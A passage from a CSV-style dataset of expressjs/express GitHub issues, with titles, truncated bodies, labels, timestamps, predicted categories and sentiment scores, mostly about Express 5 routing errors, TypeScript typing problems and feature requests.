Com... [TRUNCATED]",,2025-04-16 07:56:36+00:00,2025-07-11 23:59:18+00:00,8,nan,86.6685,throws error on route with a parameter in it cory redbarchetta projects yoctovideo backend npm run dev backend dev npx dotenvx run f env development f env node src index js dotenvx injecting env from env development env home cory documents projects yoctovideo backend node modules path to regexp dist index js throw new typeerror typeerror missing parameter name at at name home cory documents projects yoctovideo backend node modules path to regexp dist index js at lexer home cory documents projects yoctovideo backend node modules path to regexp dist index js at lexer next at iter peek home cory documents projects yoctovideo backend node modules path to regexp dist index js at iter tryconsume home cory documents projects yoctovideo backend node modules path to regexp dist index js at iter text home cory documents projects yoctovideo backend node modules path to regexp dist index js at consume home cory documents projects yoctovideo backend node modules path to regexp dist index js at parse home cory documents projects yoctovideo backend node modules path to regexp dist index js at home cory documents projects yoctovideo backend node modules path to regexp dist index js at array map node js v com truncated,bug,-0.6369
expressjs/express,2990525672,v5 sendFile fails with NotFoundError,"<!-- The process for bug fixing is:

- We will first assess if the behavior is different from what should occur
- Confirm the bug is reproducible
- Discuss how to best fix the bug
- Work towards a fix
-->

## Environment information

**Version**: 5.1.0
<!-- 
To find the installed version of a package, you can check the `package.json` file in the root directory of your project. The version will be listed under `dependencies` or `devDependencies`, like this:

```json
""dependencies"": {
  ""express"": ""4.18.2""
}
-->

**Platform**:  Linux 6.14.0 (Arch) (was also reproduced by our users on multiple Linux distros
<!-- 
UNIX: output of uname -a
Windows: output of ""$([Environment]::OSVersion.VersionString) $(('x86', 'x64')[[Environment]::Is64BitOperatingSystem])"" in PowerShell console 
-->

**Node.js version**: 22.14.0
<!-- 
Output of node -v.
-->

**Any other relevant information**:

## What steps will reproduce the bug?

Launching the appImage version of Karaoke Mugen, the sendFile method errors out with

```
NotFoundError: Not Found
    at createHttpError (/tmp/.mount_Karaokj5Gnrt/resources/app.asar/node_modules/send/index.js:861:12)
    at SendStream.error2 [as error] (/tmp/.mount_Karaokj5Gnrt/resources/app.asar/node_modules/send/index.js:168:31)
    at SendStream.pipe (/tmp/.mount_Karaokj5Gnrt/resources/app.asar/node_modules/send/index.js:468:14)
    at sendfile (/tmp/.mount_Karaokj5Gnrt/resources/app.asar/node_modules/express/lib/response.js:1000:8)
    at ServerResponse.sendFile ... [TRUNCATED]","bug,require-triage",2025-04-12 15:18:10+00:00,2025-04-12 16:03:01+00:00,4,"bug,require-triage",0.0311,v sendfile fails with notfounderror the process for bug fixing is we will first assess if the behavior is different from what should occur confirm the bug is reproducible discuss how to best fix the bug work towards a fix rmation version to find the installed version of a package you can check the file in the root directory of your project the version will be listed under or like this notfounderror not found at createhttperror tmp mount karaokj gnrt resources app asar node modules send index js at sendstream error as error tmp mount karaokj gnrt resources app asar node modules send index js at sendstream pipe tmp mount karaokj gnrt resources app asar node modules send index js at sendfile tmp mount karaokj gnrt resources app asar node modules express lib response js at serverresponse sendfile truncated,bug,-0.7269
expressjs/express,2982559695,app.listen error attribute not found,"**app.listen**

In Express 5, the app.listen method will invoke the user-provided callback function (if provided) when the server receives an error event. In Express 4, such errors would be thrown. This change shifts error-handling responsibility to the callback function in Express 5. If there is an error, it will be passed to the callback as an argument. For example:

```
const server = app.listen(8080, '0.0.0.0', (error) => {
  if (error) {
    throw error // e.g. EADDRINUSE
  }
  console.log(`Listening on ${JSON.stringify(server.address())}`)
})
```

```
'error' is declared but its value is never read.ts(6133)
No overload matches this call.
  Overload 1 of 6, '(port: number, hostname: string, backlog: number, callback?: (() => void) | undefined): Server<typeof IncomingMessage, typeof ServerResponse>', gave the following error.
    Argument of type '(error: any) => Promise<void>' is not assignable to parameter of type 'number'.
  Overload 2 of 6, '(port: number, hostname: string, callback?: (() => void) | undefined): Server<typeof IncomingMessage, typeof ServerResponse>', gave the following error.
    Argument of type '(error: any) => Promise<void>' is not assignable to parameter of type '() => void'.
      Target signature provides too few arguments. Expected 1 or more, but got 0.ts(2769)
'error' is defined but never used.eslint[@typescript-eslint/no-unused-vars](https://typescript-eslint.io/rules/no-unused-vars)
Parameter 'error' implicitly has an 'any' type.ts(7006)


  ... [TRUNCATED]",question,2025-04-09 11:46:16+00:00,2025-04-09 12:31:59+00:00,4,question,0.0317,app listen error attribute not found app listen in express the app listen method will invoke the user provided callback function if provided when the server receives an error event in express such errors would be thrown this change shifts error handling responsibility to the callback function in express if there is an error it will be passed to the callback as an argument for example error is declared but its value is never read ts no overload matches this call overload of port number hostname string backlog number callback void undefined server gave the following error argument of type error any promise is not assignable to parameter of type number overload of port number hostname string callback void undefined server gave the following error argument of type error any promise is not assignable to parameter of type void target signature provides too few arguments expected or more but got ts error is defined but never used eslint typescript eslint no unused vars parameter error implicitly has an any type ts truncated,bug,-0.9904
expressjs/express,2982357723,res.redirect cannot carry the request header I set,![Image](https://github.com/user-attachments/assets/91c14e66-f7ce-4046-9b14-df73beda90f2),question,2025-04-09 10:22:37+00:00,2025-04-11 14:05:06+00:00,3,question,2.1545,res redirect cannot carry the request header i set image,feature,0.0
expressjs/express,2977066560,TypeError: Missing parameter name,"<!-- The process for bug fixing is:

- We will first assess if the behavior is different from what should occur
- Confirm the bug is reproducible
- Discuss how to best fix the bug
- Work towards a fix
-->

Error while server client as static in express 5.0.1 and 5.1.0. for 4.21.2 working fine

```bash
shivams@shivam MINGW64 ~/Desktop/my-projects/blog-app/server (main)
$ node --run start
C:\Users\shivams\Desktop\my-projects\blog-app\server\node_modules\path-to-regexp\dist\index.js:73
            throw new TypeError(`Missing parameter name at ${i}: ${DEBUG_URL}`);
                  ^

TypeError: Missing parameter name at 1: https://git.new/pathToRegexpError
    at name (C:\Users\shivams\Desktop\my-projects\blog-app\server\node_modules\path-to-regexp\dist\index.js:73:19)
    at lexer (C:\Users\shivams\Desktop\my-projects\blog-app\server\node_modules\path-to-regexp\dist\index.js:91:27)
    at lexer.next (<anonymous>)
    at Iter.peek (C:\Users\shivams\Desktop\my-projects\blog-app\server\node_modules\path-to-regexp\dist\index.js:106:38)
    at Iter.tryConsume (C:\Users\shivams\Desktop\my-projects\blog-app\server\node_modules\path-to-regexp\dist\index.js:112:28)
    at Iter.text (C:\Users\shivams\Desktop\my-projects\blog-app\server\node_modules\path-to-regexp\dist\index.js:128:30)
    at consume (C:\Users\shivams\Desktop\my-projects\blog-app\server\node_modules\path-to-regexp\dist\index.js:152:29)
    at parse (C:\Users\shivams\Desktop\my-projects\blog-app\server\node_modules\path-... [TRUNCATED]",bug,2025-04-07 14:29:49+00:00,2025-04-07 14:35:54+00:00,2,bug,0.0042,typeerror missing parameter name the process for bug fixing is we will first assess if the behavior is different from what should occur confirm the bug is reproducible discuss how to best fix the bug work towards a fix error while server client as static in express and for working fine bash shivams shivam mingw desktop my projects blog app server main node run start c users shivams desktop my projects blog app server node modules path to regexp dist index js throw new typeerror typeerror missing parameter name at at name c users shivams desktop my projects blog app server node modules path to regexp dist index js at lexer c users shivams desktop my projects blog app server node modules path to regexp dist index js at lexer next at iter peek c users shivams desktop my projects blog app server node modules path to regexp dist index js at iter tryconsume c users shivams desktop my projects blog app server node modules path to regexp dist index js at iter text c users shivams desktop my projects blog app server node modules path to regexp dist index js at consume c users shivams desktop my projects blog app server node modules path to regexp dist index js at parse c users shivams desktop my projects blog app server node modules path truncated,bug,-0.6597
expressjs/express,2970315811,Express 5.1: req.body is `undefined` when using express.json() for requests that do not have a request body,"Simply put, with express 5.1 req.body is `undefined` when not explicitly including a request body. This is unexpected! In express 4.x, req.body is guaranteed to be at least `{}` even when the request body is missing.

# Express 5.1 Bug Report: express.json() Middleware Body Initialization

## Environment information

**Version**:
```json
""dependencies"": {
  ""express"": ""5.1.0""  // Broken behavior
  ""express"": ""4.21.2"" // Working behavior
}
```

**Platform**:
```bash

$ uname -a
 24.2.0 Darwin Kernel Version 24.2.0: Fri Dec  6 18:40:14 PST 2024; root:xnu11215.61.5~2/RELEASE_ARM64_T8103 arm64
```

**Node.js version**:
```bash
$ node -v
v22.9.0
```

## What steps will reproduce the bug?

1. Create minimal Express server:
```javascript
const express = require('express');
const app = express();

app.use(express.json());

app.post('/test', (req, res) => {
  console.log('Body:', req.body);
  res.json({ receivedBody: req.body });
});

app.listen(3000, () => console.log('Server running on port 3000'));
```

2. Send POST request with no body:
```bash
$ npm install express@5
$ curl -X POST http://localhost:3000/test
Server Output: `Body: undefined`
$ curl -X POST http://localhost:3000/test -H ""Content-Type: application/json""
Server Output: `Body: undefined`

$ npm install express@4
$ curl -X POST http://localhost:3000/test
Server Output: `Body: {}`
$ curl -X POST http://localhost:3000/test -H ""Content-Type: application/json""
Server Output: `Body: {}`
```

3. Observe behavior:
- Express 4... [TRUNCATED]",,2025-04-03 18:01:56+00:00,2025-04-23 14:43:20+00:00,10,nan,19.8621,express req body is when using express json for requests that do not have a request body simply put with express req body is when not explicitly including a request body this is unexpected in express x req body is guaranteed to be at least even when the request body is missing express bug report express json middleware body initialization rmation version platform node js version what steps will reproduce the bug create minimal express server send post request with no body observe behavior express truncated,feature,-0.8074
expressjs/express,2962090824,TypeError: Missing parameter name at 2: https://git.new/pathToRegexpError,"<!-- The process for bug fixing is:

- We will first assess if the behavior is different from what should occur
- Confirm the bug is reproducible
- Discuss how to best fix the bug
- Work towards a fix
-->

## Environment information

**Version**: [v5.1.0](https://github.com/expressjs/express/releases/tag/v5.1.0)

**Platform**: Linux 6.8.0-1021-aws 23~22.04.1-Ubuntu SMP Tue Dec 10 16:50:46 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux

**Node.js version**: v16.20.2

**Any other relevant information**: N/A

## What steps will reproduce the bug?

```bash
# Installing the latest express cause the issue
npm install express
```
then throws error
```bash
TypeError: Missing parameter name at 2: https://git.new/pathToRegexpError
    at name (/var/www/<project>/node_modules/path-to-regexp/dist/index.js:73:19)
    at lexer (/var/www/<project>/node_modules/path-to-regexp/dist/index.js:91:27)
    at lexer.next (<anonymous>)
    at Iter.peek (/var/www/<project>/node_modules/path-to-regexp/dist/index.js:106:38)
    at Iter.tryConsume (/var/www/<project>/node_modules/path-to-regexp/dist/index.js:112:28)
    at Iter.text (/var/www/<project>/node_modules/path-to-regexp/dist/index.js:128:30)
    at consume (/var/www/<project>/node_modules/path-to-regexp/dist/index.js:152:29)
    at parse (/var/www/<project>/node_modules/path-to-regexp/dist/index.js:183:20)
    at /var/www/<project>/node_modules/path-to-regexp/dist/index.js:294:74
    at Array.map (<anonymous>)
/var/www/<project>/node_modules/path-to-... [TRUNCATED]",awaiting more info,2025-04-01 03:09:19+00:00,2025-08-23 01:29:23+00:00,34,awaiting more info,143.9306,typeerror missing parameter name at the process for bug fixing is we will first assess if the behavior is different from what should occur confirm the bug is reproducible discuss how to best fix the bug work towards a fix rmation version v platform linux aws ubuntu smp tue dec utc x x x gnu linux node js version v any other relevant information n a what steps will reproduce the bug then throws error bash typeerror missing parameter name at at name var www node modules path to regexp dist index js at lexer var www node modules path to regexp dist index js at lexer next at iter peek var www node modules path to regexp dist index js at iter tryconsume var www node modules path to regexp dist index js at iter text var www node modules path to regexp dist index js at consume var www node modules path to regexp dist index js at parse var www node modules path to regexp dist index js at var www node modules path to regexp dist index js at array map var www node modules path to truncated,bug,-0.8481
expressjs/express,2943531510,Public Accessibility of package.json and package-lock.json Files,"**I noticed that the package.json and package-lock.json files are publicly accessible on expressjs.com.. This could potentially expose metadata about project dependencies and their versions, allowing attackers to identify vulnerabilities.**

Steps to Reproduce:

Navigate to expressjs.com..

Append /package.json or /package-lock.json to the URL (e.g., https://expressjs.com/package.json).

Observe the files being displayed in the browser.

Expected Behavior: These files should not be accessible publicly, as they can reveal dependency information that might be exploited.

Actual Behavior: The package.json and package-lock.json files are visible and downloadable via the URL.

Potential Risks:

Attackers may identify vulnerable or outdated dependencies.

This could lead to exploitation of security flaws.",,2025-03-24 14:55:41+00:00,2025-03-24 15:08:58+00:00,3,nan,0.0092,public accessibility of package json and package lock json files i noticed that the package json and package lock json files are publicly accessible on expressjs com this could potentially expose metadata about project dependencies and their versions allowing attackers to identify vulnerabilities navigate to expressjs com append package json or package lock json to the url e g observe the files being displayed in the browser these files should not be accessible publicly as they can reveal dependency information that might be exploited the package json and package lock json files are visible and downloadable via the url potential risks attackers may identify vulnerable or outdated dependencies this could lead to exploitation of security flaws,others,-0.9217
expressjs/express,2931043385,vulnerability report (severity: 7.5),"# Dependency Hierarchy:

express-1.1.1.tgz (Root Library)
  multer-1.4.4.tgz
    busboy-0.2.14.tgz
      ❌ dicer-0.2.5.tgz (Vulnerable Library)

# Vulnerability Details

This affects all versions of package dicer. A malicious attacker can send a modified form to server, and crash the nodejs service. An attacker could sent the payload again and again so that the service continuously crashes.

Publish Date: 2022-05-20
",bug,2025-03-19 09:20:42+00:00,2025-03-19 12:13:26+00:00,3,bug,0.12,vulnerability report severity dependency hierarchy express tgz root library multer tgz busboy tgz dicer tgz vulnerable library vulnerability details this affects all versions of package dicer a malicious attacker can send a modified form to server and crash the nodejs service an attacker could sent the payload again and again so that the service continuously crashes publish date,bug,-0.9442
expressjs/express,2927317029,Operational issues with express dependencies.,"Hi Team,

I wanted to point out that Black Duck is flagging operational vulnerabilities with express. Please update the dependency packages to the latest versions. Refer the attached PDF.

Any updates or plans for future development would be greatly appreciated.

Thanks",awaiting more info,2025-03-18 06:24:18+00:00,2025-03-27 23:59:44+00:00,6,awaiting more info,9.7329,operational issues with express dependencies hi team i wanted to point out that black duck is flagging operational vulnerabilities with express please update the dependency packages to the latest versions refer the attached pdf any updates or plans for future development would be greatly appreciated thanks,bug,0.8162
expressjs/express,2922688453,Throw when the path is undefined in res.redirect.,"I think it would make sense to throw an error when the path is undefined in res.redirect. The current behavior redirects to /undefined, which I wouldn't consider very intuitive.

This functionality would be a breaking change, so it could be a candidate for Express 6. What do you all think?","discuss,ideas,6.x",2025-03-16 01:22:33+00:00,2025-04-11 14:16:30+00:00,6,"discuss,ideas,6.x",26.5375,throw when the path is undefined in res redirect i think it would make sense to throw an error when the path is undefined in res redirect the current behavior redirects to undefined which i wouldn t consider very intuitive this functionality would be a breaking change so it could be a candidate for express what do you all think,others,-0.4588
expressjs/express,2905099017,Cannot get route-params from nested router,"<!-- Please provide as much detailed information about your request as you can, specifically:

- The use case it helps solve and goal of the new feature
- Example code for how you would use or interact with the feature
- The expected behavior, in as much details as you can provide
- Do you want to work on this feature yourself? Would to look for help opening the PR? Or are you asking for others to work on the PR?
-->
I think express shoud allow us to get route-params from nested router.

Currently, the way like below is invalid:

```javascript
import express,{ Router } from 'express';

const app=express();
const router=Router();

const testHandler=(req,res)=>{
    const {id}=req.params;
    if(!id){
        res.send(""Failed."");
        return;
    }
    res.send(""id:""+id);
}

router.use('/',testHandler);

//In this case, testHandler can get req.params.id
app.use('/test/:id',testHandler);
//In this case, testHandler which called from router cannot get req.params.id
app.use('/test2/:id',router);

app.listen(8000,()=>{
    console.log(""App is Running at http://localhost:8000."");
})
```
result:
```console
curl http://localhost:8000/test/some-id

...
Content           : id:some-id
...

curl http://localhost:8000/test2/some-id

...
Content           : Failed.
...
```
For other way, we can use router.params():
```javascript
//...
const testHandler=(req,res)=>{
    const {id}=req.params;
    if(!id){
        - res.send(""Failed."");
        + //this works good.
        + _id=req.id;
  ... [TRUNCATED]","question,require-triage",2025-03-09 00:22:10+00:00,2025-03-11 00:11:30+00:00,3,"question,require-triage",1.9926,cannot get route params from nested router please provide as much detailed information about your request as you can specifically the use case it helps solve and goal of the new feature example code for how you would use or interact with the feature the in as much details as you can provide do you want to work on this feature yourself would to look for help opening the pr or are you asking for others to work on the pr i think express shoud allow us to get route params from nested router currently the way like below is invalid result for other way we can use router params javascript const testhandler req res const id req params if id res send failed this works good id req id truncated,help,0.8934
expressjs/express,2885691956,Support custom HTTP Methods,"When using an Express as a Rest server, standard HTTP method are sufficient for CRUD operation, but for more business methods, existing methods are not sufficient and using post for everything is not enough accurate.

Search and report methods are great extensions and very useful even for crud.

Express design allows adding new http methods, but more like hacking than anything else. Cans you please add such features as initialization options ?

thank you",,2025-02-27 21:57:35+00:00,2025-03-04 13:56:03+00:00,2,nan,4.6656,support custom http methods when using an express as a rest server standard http method are sufficient for crud operation but for more business methods existing methods are not sufficient and using post for everything is not enough accurate search and report methods are great extensions and very useful even for crud express design allows adding new http methods but more like hacking than anything else cans you please add such features as initialization options thank you,help,0.9708
expressjs/express,2874165121,Express performance issues,"I have created a simple example of a simple node http get vs express GET and end up with a severe performance drop.
Is this expected or is there a bug in the code?
[https://github.com/Strauteka/express-performance-drop](https://github.com/Strauteka/express-performance-drop)",question,2025-02-24 08:18:12+00:00,2025-02-25 13:54:06+00:00,2,question,1.2333,express performance issues i have created a simple example of a simple node http get vs express get and end up with a severe performance drop is this expected or is there a bug in the code,bug,-0.6908
expressjs/express,2873092221,ERROR:- TS2769: No overload matches this call.,"I'm trying to use an error-handling middleware with Express and TypeScript, but I'm getting a TypeScript error:

```typescript
I'm trying to use an error-handling middleware with Express and TypeScript, but I'm getting a TypeScript error:

```typescript
const errorHandler = (err: any, req: Request, res: Response, next: NextFunction) => {
    res.status(500).json({ error: 'Something went wrong!' });
};

app.use(errorHandler); // Error occurs here

And the Error Message is:-
src/app.ts:30:9 - error TS2769: No overload matches this call.
  The last overload gave the following error.
    Argument of type '(err: any, req: Request<ParamsDictionary, any, any, ParsedQs, Record<string, any>>, res: Response<any, Record<string, any>>, next: NextFunction) => Response<...>' is not assignable to parameter of type 'PathParams'.

30 app.use(errorHandler);
           ~~~~~~~~~~~~

  node_modules/@types/express-serve-static-core/index.d.ts:157:5
    157     <
            ~
    158         P = ParamsDictionary,
        ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    ...
    166         ...handlers: Array<RequestHandlerParams<P, ResBody, ReqBody, ReqQuery, LocalsObj>>
        ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    167     ): T;
        ~~~~~~~~~
    The last overload is declared here.

","question,awaiting more info,typescript",2025-02-23 10:47:01+00:00,2025-03-01 15:05:56+00:00,8,"question,awaiting more info,typescript",6.1798,error ts no overload matches this call i m trying to use an error handling middleware with express and typescript but i m getting a typescript error typescript const errorhandler err any req request res response next nextfunction res status json error something went wrong app use errorhandler error occurs here and the error message is src app ts error ts no overload matches this call the last overload gave the following error argument of type err any req request res response next nextfunction response is not assignable to parameter of type pathparams app use errorhandler node modules types express serve static core index d ts p paramsdictionary handlers array t the last overload is declared here,bug,-0.994
expressjs/express,2868056527,Is `standardjs` mandatory for `typeof` equality checks?,"Hi,

I noticed that throughout the codebase, typeof x === ""type"" is consistently used for type checks. Since the type returned by typeof is always a string, would it be acceptable to use the normal equality operator (==) instead of strict equality (===) in these cases?

For example:
```js
if (typeof x == ""string"") { ... } // instead of typeof x === ""string""
```

This would slightly improve performance, as the JavaScript engine could skip the extra strict comparison overhead.

Is standardjs enforcing strict equality in these cases, or is this just a convention? Would a PR changing this be considered?

Thanks!",question,2025-02-21 05:45:26+00:00,2025-02-21 16:00:33+00:00,4,question,0.4272,is mandatory for equality checks hi i noticed that throughout the codebase typeof x type is consistently used for type checks since the type returned by typeof is always a string would it be acceptable to use the normal equality operator instead of strict equality in these cases for example this would slightly improve performance as the javascript engine could skip the extra strict comparison overhead is standardjs enforcing strict equality in these cases or is this just a convention would a pr changing this be considered thanks,help,0.7968
expressjs/express,2860619122,Query param,"# Query Param Remove param value if it is over 1000 giving undefined

## Environment information

**Version**:

To find the installed version of a package, you can check the `package.json` file in the root directory of your project. The version will be listed under `dependencies` or `devDependencies`, like this:

```json
""dependencies"": {
  ""express"": ""4.18.2""
}


**Platform**:

WINDOWS: output of winver
Windows: 11 Version 24H2 (OS Build 26120.3000) 


**Node.js version**:
 
Output of node -v.
v22.9.0

**Any other relevant information**:

## What steps will reproduce the bug?

1. send request with the query param exceeding 1000 characters or bytes



",bug,2025-02-18 14:26:32+00:00,2025-02-18 14:33:29+00:00,0,bug,0.0048,query param query param remove param value if it is over giving undefined rmation version to find the installed version of a package you can check the file in the root directory of your project the version will be listed under or like this json dependencies express platform windows output of winver windows version h os build node js version output of node v v any other relevant information what steps will reproduce the bug send request with the query param exceeding characters or bytes,bug,0.5106
expressjs/express,2860594064,Cache route in express,"<!-- We can't debug your app for you, but you can ask questions and we will try to answer them.

You can also ask a question in the OpenJs Slack community's #express channel:

* Slack invite form: https://slack-invite.openjsf.org/
* #express-js channel: https://openjs-foundation.slack.com/archives/C02QB1731FH

It is super important that you paste in samples of your code (no screenshots of code, [use markdown](https://docs.github.com/en/get-started/writing-on-github/working-with-advanced-formatting/creating-and-highlighting-code-blocks))!
Without seeing what your code looks like, we won't be able to help you very much.
More is better when it comes to sharing code samples if you're having a problem. -->

how i can cache static routes in express js to low the stress on my server",question,2025-02-18 14:18:02+00:00,2025-02-18 14:22:53+00:00,0,question,0.0034,cache route in express we can t debug your app for you but you can ask questions and we will try to answer them you can also ask a question in the openjs slack community s express channel slack invite form express js channel it is super important that you paste in samples of your code no of code use markdown without seeing what your code looks like we won t be able to help you very much more is better when it comes to sharing code samples if you re having a problem how i can cache static routes in express js to low the stress on my server,help,0.9556
expressjs/express,2844961530,Can not detect cancelled request in post handler when using express.json() middleware,"<!-- The process for bug fixing is:

- We will first assess if the behavior is different from what should occur
- Confirm the bug is reproducible
- Discuss how to best fix the bug
- Work towards a fix
-->

## Environment information

**Version**:
```json
""dependencies"": {
  ""express"": ""4.21.2""
}
```

**Platform**:
```
$ uname -a
Linux Corona 5.15.167.4-microsoft-standard-WSL2 #1 SMP Tue Nov 5 00:21:55 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
```

**Node.js version**:
```
$ node --version
v20.17.0
```


## What steps will reproduce the bug?

The bug is that I can not detect if the request is cancelled when posting json. It might not be a documentation bug - either way, I couldn't get it working.

I have tried listening to the `abort` event on the request without success. As I understand it the events go hand-in-hand with node's http request, and this (https://nodejs.org/api/http.html#event-abort) suggests trying with a `destroyed` event. I didn't get that to work either.

When searching for a solution, the most common recommendation is to listen to the `close` event, although that is not intuitive.

```javascript
const express = require(""express"");
const app = express();
const port = 3000;

app.use(express.json());

app.post(""/sleep"", async (req, res) => {
  console.log(""Received JSON:"", req.body);

  const timeoutPromise = new Promise((resolve, reject) => {
    const timeoutId = setTimeout(() => {
      resolve(""Done sleeping"");
    }, 1000);

    req.on(""close"", () => {
     ... [TRUNCATED]",,2025-02-11 10:27:59+00:00,2025-02-19 18:36:21+00:00,2,nan,8.3391,can not detect cancelled request in post handler when using express json middleware the process for bug fixing is we will first assess if the behavior is different from what should occur confirm the bug is reproducible discuss how to best fix the bug work towards a fix rmation version platform node js version what steps will reproduce the bug the bug is that i can not detect if the request is cancelled when posting json it might not be a documentation bug either way i couldn t get it working i have tried listening to the event on the request without success as i understand it the events go hand in hand with node s http request and this suggests trying with a event i didn t get that to work either when searching for a solution the most common recommendation is to listen to the event although that is not intuitive javascript const express require express const app express const port app use express json app post sleep async req res console log received json req body const timeoutpromise new promise resolve reject const timeoutid settimeout resolve done sleeping req on close truncated,feature,0.4556
expressjs/express,2841082465,`express.static.mime` is not exported in Express 5.x,"### Description

Express 4.x used to export the `mime` transitive dependency as `express.static.mime`:

- [`express@4.21.2` exported `serve-static`](https://github.com/expressjs/express/blob/4.21.2/lib/express.js#L81)
- [`serve-static@1.16.2` exported `send.mime`](https://github.com/expressjs/serve-static/blob/v1.16.2/index.js#L29)
- [`send@0.19.0` exported  `mime`](https://github.com/pillarjs/send/blob/0.19.0/index.js#L71)

Express 5.x no longer provides this export, but its documentation still references it:

![Image](https://github.com/user-attachments/assets/6f1f00b2-0d7b-487b-a078-95b695184dc4)

The newer version [`send@1.1.0` no longer exports `mime`](https://github.com/pillarjs/send/blob/1.1.0/index.js), so I'm not sure if this would be considered a documentation issue with Express 5.x, or a bug (which would require changes to `serve-static` and `send`). Would you please confirm?

### Expectations

If this is considered a documentation issue, here is a proposed revision to the documentation of `res.type(type)` which would remedy the inconsistency:

```diff
 If `type` contains the “/” character, then it sets the `Content-Type` to the
 exact value of `type`, otherwise it is assumed to be a file extension and the
 MIME type is looked up
-in a mapping using the `express.static.mime.lookup()` method.
+using the `lookup` method of the `mime-types` package.
```",,2025-02-10 00:59:12+00:00,2025-02-11 14:59:15+00:00,4,nan,1.5834,is not exported in express x description express x used to export the transitive dependency as exported exported exported express x no longer provides this export but its documentation still references it image the newer version no longer exports so i m not sure if this would be considered a documentation issue with express x or a bug which would require changes to and would you please confirm expectations if this is considered a documentation issue here is a proposed revision to the documentation of which would remedy the inconsistency,others,-0.808
expressjs/express,2828605137,Release Plan: 5.1.0,"## Remaining Work

- [ ] https://github.com/expressjs/express/pull/6095
- [x] https://github.com/expressjs/express/pull/6285

## Dependency work

- [x] accepts
- [x] body-parser
  - [x] https://github.com/expressjs/body-parser/pull/578
  - [x] Update type-is 
    - [x] update mime-types
      - [x] update mime-db
- [ ] content-disposition
  - [ ] https://github.com/jshttp/content-disposition/pulls
  - [x] https://github.com/jshttp/content-disposition/issues/47
  - [ ] https://github.com/jshttp/content-disposition/pull/68
  - [ ] https://github.com/jshttp/content-disposition/pull/58
- [x] content-type
  - [x] `^` range https://github.com/expressjs/express/commit/d2de128a32f1ce3d360bbe3fad56afa026fc8832
- [x] cookie
  - [x] `^` range https://github.com/expressjs/express/commit/af7cd90893f4619212e01f271fbaa10f3176fb33
- [x] debug: 
  - [x] `^` range https://github.com/expressjs/express/commit/85e48bb8c109d2200077bf8d50f3a163488d0fa5
  - [x] https://github.com/expressjs/express/pull/6313
- [x] encodeurl
  - [x] `^` range https://github.com/expressjs/express/commit/af7cd90893f4619212e01f271fbaa10f3176fb33
- [x] escape-html
  - [x] `^` range https://github.com/expressjs/express/commit/af7cd90893f4619212e01f271fbaa10f3176fb33
- [x] etag
  - [x] `^` range https://github.com/expressjs/express/commit/af7cd90893f4619212e01f271fbaa10f3176fb33
- [x] finalhandler
  - [x] https://github.com/expressjs/express/pull/6373
- [x] fresh
  - [x] `^` range https://github.com/expressjs/express/commit... [TRUNCATED]",5.x,2025-02-03 21:52:04+00:00,2025-03-28 01:23:13+00:00,14,5.x,52.1466,release plan remaining work x dependency work x accepts x body parser x x update type is x update mime types x update mime db content disposition x x content type x range x cookie x range x debug x range x x encodeurl x range x escape html x range x etag x range x finalhandler x x fresh x range truncated,others,0.6486
expressjs/express,2827856648,[Need] Add client hello for request,"
In a secure request, it is necessary to calculate the client's `ja3` and other fingerprints to determine whether the other party is malicious traffic and block it from the business layer. I want to use pure js implementation, but `req.socket` returned by `express` is of `net.Socket` type. I have not found a way to obtain `client hello` data, so I cannot calculate `ja3`. I don't know if this can be supported in `express`.",,2025-02-03 15:35:49+00:00,2025-02-04 04:31:41+00:00,2,nan,0.5388,need add client hello for request in a secure request it is necessary to calculate the client s and other fingerprints to determine whether the other party is malicious traffic and block it from the business layer i want to use pure js implementation but returned by is of type i have not found a way to obtain data so i cannot calculate i don t know if this can be supported in,feature,0.5719
expressjs/express,2826166600,Builtin Typescript support,Any plans to rewrite express in typescript to avoid having to rely on external type packages?,,2025-02-03 01:18:56+00:00,2025-02-03 13:00:05+00:00,9,nan,0.4869,builtin typescript support any plans to rewrite express in typescript to avoid having to rely on external type packages,help,0.128
expressjs/express,2820735200,Router.get method in Express is called with the wrong type: The request handler is mistaken for a child application,"Note: I use the typescript 
When using the tokenRouter.get method in the auth/token.ts file to define a route handler, the TypeScript compiler throws a type mismatch error. The error message is as follows:

## The console messages

auth/token.ts:15:30 - error TS2769: No overload matches this call.
  The last overload gave the following error.
    Argument of type '(req: Request<ParamsDictionary, any, any, ParsedQs, Record<string, any>>, res: Response<any, Record<string, any>>) => Response<...> | undefined' is not assignable to parameter of type 'Application<Record<string, any>>'.
      Type '(req: Request<ParamsDictionary, any, any, ParsedQs, Record<string, any>>, res: Response<any, Record<string, any>>) => Response<...> | undefined' is missing the following properties from type 'Application<Record<string, any>>': init, defaultConfiguration, engine, set, and 63 more.

15 tokenRouter.get('/getToken', function(req: Request, res: Response) {
                                ~~~~~~~~

  node_modules/@types/express-serve-static-core/index.d.ts:168:5
    168     (path: PathParams, subApplication: Application): T;
            ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    The last overload is declared here.


Found 1 error in auth/token.ts:15

## Code part
```typescript
import express, { Request, Response, Router } from 'express';

const tokenRouter: Router = express.Router();

tokenRouter.get('/getToken', function(req: Request, res: Response) {
    // 这里是处理逻辑
    const toke... [TRUNCATED]",question,2025-01-30 12:42:21+00:00,2025-01-30 16:02:34+00:00,1,question,0.139,router get method in express is called with the wrong type the request handler is mistaken for a child application note i use the typescript when using the tokenrouter get method in the auth token ts file to define a route handler the typescript compiler throws a type mismatch error the error message is as follows the console messages auth token ts error ts no overload matches this call the last overload gave the following error argument of type req request res response response undefined is not assignable to parameter of type application type req request res response response undefined is missing the following properties from type application init defaultconfiguration engine set and more tokenrouter get gettoken function req request res response node modules types express serve static core index d ts path pathparams subapplication application t the last overload is declared here found error in auth token ts code part typescript import express request response router from express const tokenrouter router express router tokenrouter get gettoken function req request res response const toke truncated,feature,-0.9849
expressjs/express,2811134961,Wildcard not working in express 5.0.1,"Found an issue with pathToRegexp used to create a route with the * operator in Express 5.0.1 (express@next).

When you create a new router and assign it the wildcard * operator, a pathToRegexpError is thrown, instead of a new route being registered with the * matching any string.

